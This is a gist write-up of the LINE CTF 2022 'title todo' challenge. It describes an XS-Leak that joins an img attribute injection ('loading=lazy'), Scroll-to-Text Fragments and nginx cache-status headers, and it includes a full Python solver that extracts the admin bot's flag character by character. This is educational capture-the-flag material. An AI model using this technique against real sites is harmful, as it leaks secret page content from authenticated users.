Skip to content

Instantly share code, notes, and snippets.

@jorgectf
Last active July 5, 2023 08:59
Show Gist options
  • Star 2 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save jorgectf/993d02bdadb5313f48cf1dc92a7af87e to your computer and use it in GitHub Desktop.
Save jorgectf/993d02bdadb5313f48cf1dc92a7af87e to your computer and use it in GitHub Desktop.
LINE CTF 2022 - title todo

Lazy loading images + Scroll to Text Fragment XSLeak.

With Water Paddler.


We can upload images, make "notes" containing this image and a title, and share this "notes" with an authed bot displaying the flag in its footer.

image

This is how the above note would be displayed to the admin:

image

<div class="title is-3">gimme a start plz</div>

<img src=/static/image/af44d3a7625e4d5497e4472bbfc1f16a.jpg class="mb-3">
<input hidden id="imgId" value="5f9ca738-efeb-49d7-a7ea-024d8f284cee">

<div class="control">
    <button id="shareButton" class="button is-success">Share (to admin)</button>
</div>

Exploitation

App-wide CSP (blocking exfiltration):

default-src 'self'; script-src 'self'; style-src 'self'; img-src 'self' blob:

There's a single injection point in 6 since the input is not in its proper context (between quotes), but we can't escape the img content (i.e, we can just inject img attributes).

image

This way we can use loading=lazy for the browser to request/load the provided image just when it is visible. As per puppeteer's chrome flag --window-size=1440,900, if we get to make the image not to be visible at first, then using scroll-to-text (#:~:text=match), if the provided value matches the flag (displayed in the footer), the image will load and so we will have our oracle.

image

To get the image to have enough top margin for the browser not to load it when the page is loaded, we have to provide a very long title.

To find out if the image was loaded by the bot's browser, as there is a very strict CSP, we will have to take advantage of nginx's caching.

location /static {
    uwsgi_cache one;
    uwsgi_cache_valid 200 5m;
    uwsgi_ignore_headers X-Accel-Redirect X-Accel-Expires Cache-Control Expires Vary;

    include uwsgi_params;
    uwsgi_pass app;

    add_header X-Cache-Status $upstream_cache_status;
}

So nginx is leaking us with X-Cache-Status if the image is HIT/MISS in its cache (i.e, it has been requested at least once, or not).

def is_hit(image): # aka has been cached aka has been visited by the bot
    return "HIT" == s.head(chall_url + image).headers["X-Cache-Status"]

Solver

import requests
from time import sleep

chall_url = "http://35.187.204.223"
s = requests.Session()
#s.proxies.update({"http": "http://127.0.0.1:8080"})


def is_hit(image):
    return "HIT" == s.head(chall_url + image).headers["X-Cache-Status"]


def share(path):
    s.post(chall_url + "/share",
           headers={"Content-type": "application/json"}, json={"path": path})


def new_post(image):
    return "/image/" + s.post(chall_url + "/image", headers={"Content-Type": "application/x-www-form-urlencoded"}, allow_redirects=False, data={
           "title": "W"*3000, "img_url": image + " loading=lazy"
    }).headers["X-ImageId"]


def upload_image():
    headers = {
        "Content-Type": "multipart/form-data; boundary=----WebKitFormBoundarySyjbxI4bmreUQGnT"}
    data = "------WebKitFormBoundarySyjbxI4bmreUQGnT\r\nContent-Disposition: form-data; name=\"img_file\"; filename=\"foo.jpg\"\r\nContent-Type: image/jpeg\r\n\r\nfoo\r\n------WebKitFormBoundarySyjbxI4bmreUQGnT--\r\n"
    return s.post(chall_url + "/image/upload", headers=headers, data=data).json()["img_url"]


# login
s.post(chall_url + "/register",
       headers={"Content-Type": "application/x-www-form-urlencoded"}, data="username=foofoo&password=barbar")
s.post(chall_url + "/login",
       headers={"Content-Type": "application/x-www-form-urlencoded"}, data="username=foofoo&password=barbar")
print("Registered")


known = "LINECTF{"
while True:

    for char in "/0123456789abcdef":
        current_image = upload_image()
        current_post = new_post(current_image)
        
        share(current_post[1:] + "#:~:text=" + known + char)
        sleep(5)

        if is_hit(current_image):
            known += char
            print(known)
            break

    else:
        print("Flag: " + known)
        break
   
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment